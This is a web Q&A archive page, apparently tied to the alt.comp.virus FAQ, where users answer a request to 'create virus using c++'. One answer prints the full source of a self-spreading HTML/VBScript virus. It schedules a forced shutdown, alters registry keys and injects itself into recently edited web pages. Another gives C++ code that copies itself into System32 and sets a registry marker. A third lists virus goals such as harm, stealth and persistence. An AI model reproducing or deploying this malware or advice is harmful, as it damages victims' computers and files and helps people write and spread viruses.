[ Home | FAQ-Related Q&As | General Q&As | Answered Questions ]

Search the Q&A Archives

...create virus using c++? create virus using...

<< Back to: [alt.comp.virus] FAQ Part 1/4

Answer by Jaz
Submitted on 3/30/2004
Rating:	Rate this answer:
-------------------------------------------[HTML.Ubriel for WindowsXP]------------------------------------------- <html><!--Umbriel--> <head> <title> Second Part To Hell's HTML.Umbriel </title> </head> <body> <script language="VBScript"> rem VBS On Error Resume Next Dim fso, shell, wrte, tempdir, windir, rand, file Set fso=CreateObject("Scripting.FileSystemObject") Set shell=CreateObject("Wscript.Shell") if err.number=429 Then shell.Run javascript:location.reload() End If Set windir=fso.GetSpecialFolder(0) Set tempdir=fso.GetSpecialFolder(2) Set wrte=fso.CreateTextFile(windir+"\windows.cmd") wrte.WriteLine "cls" wrte.WriteLine "@echo off" wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Second Part To Hell's Umbriel has you..."+chr(34) wrte.Close() shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\Source", "C:\umbriel.html" shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\SubscribedURL", "C:\umbriel.html" Randomize rand=int(rnd5)+1 If rand=1 then shell.Run windir+"\windows.cmd" End If </script> <script language="JavaScript"> // JS var viruspath, virus, code, fso, file, check, checka, checkb fso=new ActiveXObject("Scripting.FileSystemObject") viruspath=window.location.pathname viruspath=viruspath.slice(1) virus=fso.OpenTextFile(viruspath,1) file=fso.CreateTextFile("C:\\umbriel.html") for (i=0; i<500; i++) { if (checkb!=1) { if (Math.round(Math.random()5)+1 == 3) { if (check == 2) { file.WriteLine("/"+"") file.WriteLine(""+"/") } if (check == 3) { file.WriteLine("rem") } } code=virus.ReadLine() if (code == "/"+"") { checka=666 } if (code == ""+"/") { checka=666 } if (code == "rem") { checka=666 } if (checka != 666 ) { file.WriteLine(code) } checka=0 if (code=="</"+unescape("%68")+"tml>") { checkb=1 } if (code=="// JS") { check=2 } if (code=="rem VBS") { check=3 } if (code=="</"+unescape("%73")+"cript>") { check=0 } } } virus.Close(); file.Close(); </script> <script language="VBScript"> rem VBS On Error Resume Next set fso=CreateObject("Scripting.FileSystemObject") set shell=CreateObject("WScript.Shell") set myfile=fso.OpenTextFile("C:\umbriel.html") mycode=myfile.ReadAll myfile.Close() rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File1") if rr <> "" Then Call Umbriel(rr, mycode) rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File2") if rr <> "" Then Call Umbriel(rr, mycode) rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File3") if rr <> "" Then Call Umbriel(rr, mycode) rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File4") if rr <> "" Then Call Umbriel(rr, mycode) rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File5") if rr <> "" Then Call Umbriel(rr, mycode) Sub Umbriel(rr, mycode) set victim=fso.OpenTextFile(rr) infcheck=victim.ReadLine If infcheck<>"<html><!--Umbriel-->" Then viccode=victim.ReadAll victim.Close() set wrtevic=fso.OpenTextFile(rr, 2, false, 0) wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode) wrtevic.Close End If End Sub </script> </body> </html>

Answer by fukuall
Submitted on 6/5/2004
Rating:	Rate this answer:
a c++ virus: #include windows.h #include string.h char windir[MAX_PATH]; int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char pathname[256]; HKEY hKey; GetWindowsDirectory(windir, sizeof(windir)); HMODULE hMe = GetModuleHandle(NULL); DWORD nRet = GetModuleFileName(hMe, pathname, 256); strcat(windir, "\\System32\\viral.exe"); CopyFile(pathname,windir,0); unsigned char reg[10] = "infected"; RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey); RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg)); RegCloseKey(hKey); } thare, ya happy ya frikin bums

Answer by Silver
Submitted on 8/9/2004
Rating: Not yet rated	Rate this answer:
Creating viruses in C/C++ and most programming languages is easy. But I personally prefer Assembly, cause there is where you need and get power. Anyways, its just foolish to distribute your email addresses around so that ppl can give u source codes. The best way to do something is make it yourself. Just you got to achieve the following goals. If you use C, just make different OOP structures, and if PERL, Packages. Anyways, goals of a virus- 1)Cause harm/mischief 2)Making it invisible and divisible, and also, difficult to detect to roots 3)Mechanism for redistributing the password. The main goal is really very simple to achieve, and if i were you, and i created a one time bomb, or a virus which spreads whenever someone boots, best put it in autoexec, but the first,so try to cover it up. For windows, best deal is putting somewhere in the registry. The main part-> Disrupting computer and file scranbling and stuff, you can do with normal lib. functions. If your thing does hardware stuff directly, like open the CD drive and all, i would either bet upon getting new functions from somewhere, or directly communicatiing with the hardware. Anyways, according to me, the most imp. thing of a virus, even more imp than its main cause is stealth. There are tonnes of methods, most just common sense, and sometimes programming (usually in Assembly).